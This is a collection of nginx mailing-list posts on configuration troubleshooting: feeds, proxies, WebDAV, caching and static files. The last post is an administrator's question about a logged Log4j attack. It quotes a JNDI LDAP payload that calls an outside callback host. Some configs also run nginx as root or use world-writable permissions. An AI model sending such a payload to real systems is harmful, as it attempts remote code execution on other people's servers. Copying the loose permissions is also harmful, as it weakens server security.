Hello,
Is there a way to log individual websocket messages going through a nginx
server setup to proxy websocket as explained here
https://nginx.org/en/docs/http/websocket.html ?
-Chinmay
I had a wordpress blog and was working on Apache. I migrated the blog to
Nginx + php-fpm. But i have a problem with this.
My blog has RSS with example.com/feed URL , and i could see the feeds with
paged like this example -> http://www.kodcu.com/feed/?paged=45.
But in Nginx, this paged RSS urls dont work with my config. /feed and
/feed/?paged=X URLs shows top 10 content.
My nginx.conf same as below. How can i handle this problem?
user root root;
worker_processes 2;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 2;
types_hash_max_size 2048;
include /etc/nginx/mime.types;
default_type application/octet-stream;
error_log /var/log/nginx/error.log;
access_log off;
gzip on;
gzip_disable "msie6";
gzip_vary on;
gzip_proxied any;
gzip_comp_level 6;
gzip_buffers 16 8k;
gzip_http_version 1.1;
gzip_types text/html text/plain text/css application/json
application/x-javascript text/xml application/xml application/xml+rss
text/javascript;
##
# Virtual Host Configs
##
index index.php index.html index.htm;
## See here: http://wiki.nginx.org/WordPress
server {
server_name example.comwww.example.com;
root /var/www/example.com;
location = /favicon.ico {
log_not_found off;
access_log off;
}
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
location / {
# This is cool because no php is touched for static content
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
include fastcgi_params;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
expires max;
log_not_found off;
}
}
}
Posted at Nginx Forum: http://forum.nginx.org/read.php?2,238692,238692#msg-238692
Dear,
I have a reverse-proxy in front of my two servers: web (apache2) and
email (nginx-iredmail).
The proxy-reverse is perfectly working with my web server running
Apache2, but I am not able to make it working for my email server.
The reverse-proxy and the email server are both running with the same
version of Nginx (1.9).
I have tried many configs without any success.
My last one:
***********************************************************************
server {
listen 446;
server_name email.domain.ltd;
location / {
proxy_pass https://email_server_ip:446;
proxy_ssl_certificate /etc/ssl/certs/cert.chained.crt;
proxy_ssl_certificate_key /etc/ssl/private/private.key;
proxy_ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
proxy_ssl_ciphers HIGH:!aNULL:!MD5;
proxy_ssl_trusted_certificate /etc/ssl/certs/cert.chained.crt;
proxy_ssl_verify on;
proxy_ssl_verify_depth 2;
proxy_ssl_session_reuse on;
error_log /var/log/nginx/error-proxy.log;
access_log /var/log/nginx/access-proxy.log;
}
}
Can I please have some help ??
Thx
--
Cordialement,
Thierry e-mail : lenaigst(a)maelenn.org
PGP Key: 0xB7E3B9CD
How does nginx caching handle multiple cache control headers sent from a
backend?
I had a situation where I was sending both expires and cache-control and
it seemed that the order in which they were sent controlled. I solved
that problem by ignoring the expires header.
I thought I recalled that x-accel-expires would override any other
headers regardless of order, but that doesn't seem to be the case.
Is there a priority, or does order control?
Posted at Nginx Forum: http://forum.nginx.org/read.php?2,219520,219520#msg-219520
Hi,
I am new to nginx and am trying to get a simple webDAV server running.
I can use GET to read files, but PUT fails.
Using opensuse 15.3.
'# nginx -V
nginx version: nginx/1.20.2
built by gcc 7.5.0 (SUSE Linux)
configure arguments: --with-http_dav_module'
nginx.conf is as supplied with the following added in 'server':
location /html/calendar {
root html/calendar;
dav_methods PUT DELETE MKCOL COPY MOVE;
dav_access group:rw all:r;
}
and the user changed to 'nginx'
After an unsuccessful PUT, wireshark shows:
'No. Time Source Destination Protocol Length Info
17 5.918827416 172.21.42.42 172.21.42.124 HTTP 3133 PUT
/calendar/Geburtstage.ics HTTP/1.1 (text/calendar)
No. Time Source Destination Protocol Length Info
19 5.918956256 172.21.42.124 172.21.42.42 HTTP 380 HTTP/1.1 405 Not Allowed
(text/html)
It seems a permissions problem, but I don't know where.
Linux permissions:
The calendar directory is root:nginx 777
and the calendar files are root:nginx 666
can anyone point me to a starting point?
Many thanks,
Robert von Knobloch.
Posted at Nginx Forum: https://forum.nginx.org/read.php?2,293215,293215#msg-293215
_______________________________________________
nginx mailing list
nginx(a)nginx.org
http://mailman.nginx.org/mailman/listinfo/nginx
Hi Team,
Intermittently there are multiple below errors reported in error.log file.
[alert] 41456#41456: ignore long locked inactive cache entry
efcd5613750302a2657fca63c07fc777, count:1
This comes momentarily with a spike of 50-90 K such errors in a minute time
span.
During this period server load and cpu utilization increases to Maximum
dropping all the traffic with 0% Idle CPU and Load rising to more than 100.
This happens for 5 min after which server comes back into normal state.
Please help What causes this alert and how to avoid this scenario
Posted at Nginx Forum: https://forum.nginx.org/read.php?2,291199,291199#msg-291199
I have two server test1.com and test2.com. test1 is internet public face
server. Test2 is intranet only server. Both servers have nginx docker
running.
Test1 run a Django app1 which has static files under /app/public/static.
App1 can load the static files and run correctly from URL
https://test1.com/app1. Test2 has a Django app2 which has static files under
/app/public/static on server test2. From URL https://test2.com/app2. Every
thing works include static files.
The issue is I need config nginx1 to allow people to access app2 from
internet.(public)
With the configuration nginx1 blow I can load the app2 but not the app2
static files. The error is :
"GET /static/img/logo-2.jpg HTTP/1.1", host: "test1.com", referrer:
https://test1.com/app2/ . The nginx is looking for app2 static file under
test1 which obviously ‘file not found’.
How can config nginx1 to looking for app2 static file under test2.comhttps://test2.com/app2/?
user nginx;
worker_processes 1;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
client_max_body_size 50m;
log_format main '$remote_addr - $remote_user [$time_local] "$request"
'
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
error_log /var/log/nginx/error.log;
sendfile on;
keepalive_timeout 65;
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
upstream app {
server django:5000;
}
server {
listen 443 ssl;
server_name test1.com;
charset utf-8;
root /app/public;
# static files
location / {
try_files $uri @proxy_to_app ;
}
# prevent XSS, clickjacking, never cache
add_header "X-Frame-Options" "SAMEORIGIN";
add_header "X-Content-Type-Options" "nosniff";
add_header "X-XSS-Protection" "1; mode=block";
add_header "Pragma" "no-Cache";
add_header "Cache-Control" "no-Store,no-Cache";
# app1 static
location /static/ {
expires 1d;
access_log off;
add_header "Cache-Control" "public";
add_header "Pragma" "public";
}
#app2
location /app2/ {
proxy_pass https://test2.com:444;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_redirect off;
}
# django
location @proxy_to_app {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Host $http_host;
proxy_redirect off;
proxy_pass http://app;
}
}
//end of test1 server
#test2 server
server{
listen 444;
server_name https://test2.com;
root /app/public;
# static files
location / {
try_files $uri @proxy_to_app ;
}
# except anything in static
location /static/ {
expires 1d;
access_log off;
add_header "Cache-Control" "public";
add_header "Pragma" "public";
}
}#end of test2
# redirect http to https
server {
listen 80;
server_name test1.com;
return 301 https://test1.com$request_uri;
}
# only valid HTTP_HOST header should be used
server {
listen 80 default_server;
return 403;
}
}
Posted at Nginx Forum: https://forum.nginx.org/read.php?2,293219,293219#msg-293219
_______________________________________________
nginx mailing list
nginx(a)nginx.org
http://mailman.nginx.org/mailman/listinfo/nginx
Changes with nginx 1.21.5 28 Dec 2021
*) Change: now nginx is built with the PCRE2 library by default.
*) Change: now nginx always uses sendfile(SF_NODISKIO) on FreeBSD.
*) Feature: support for sendfile(SF_NOCACHE) on FreeBSD.
*) Feature: the $ssl_curve variable.
*) Bugfix: connections might hang when using HTTP/2 without SSL with the
"sendfile" and "aio" directives.
--
Maxim Dounin
http://nginx.org/
_______________________________________________
nginx mailing list
nginx(a)nginx.org
http://mailman.nginx.org/mailman/listinfo/nginx
Dear Users,
I have an old instance of NGINX (v.1.10.1) running as proxy server on a dedicated hardware platform.
Since the proxy service is reachable from internet, it is constantly exposed to cyber attacks.
In my particular case, it is attacked by a lot of Log4j attack attempts from several malicious IPs.
At this moment, an host intrusion detection system (HIDS) is running and is protecting the NGINX server: it seems it is blocking every malicious attack attempts.
Anyway, during the last attack mail notification sent by the HIDS, I noticed that the NGINX server response was “HTTP/1.1 200” and I’m very worried about it.
Log4j and Java packages are NOT installed on the NGINX server and all the servers behind the proxy are not using Log4j.
Could you please help me to understand the reason why the NGINX server answer was “HTTP/1.1 200”!?
You can see below the mail notification I received:
Attack Notification.
2021 Dec 28 20:45:59
Received From: “hidden_NGINX_server_IP” >/var/log/nginx/access.log
Rule: 100205 fired (level 12) -> "Log4j RCE attack attempt detected."
Src IP: 166.137.252.110
Portion of the log(s):
166.137.252.110 - - [28/Dec/2021:21:45:58 +0100] "GET /?sulgz=${jndi:ldap://“hidden_NGINX_server_IP <ldap://%E2%80%9Chidden_server_IP>".c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a <ldap://193.204.199.214.c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a>} HTTP/1.1" 200 3700 "-" "curl/7.64.0" “-"
Thank you in advance,
Mauro
_______________________________________________
nginx mailing list
nginx(a)nginx.org
http://mailman.nginx.org/mailman/listinfo/nginx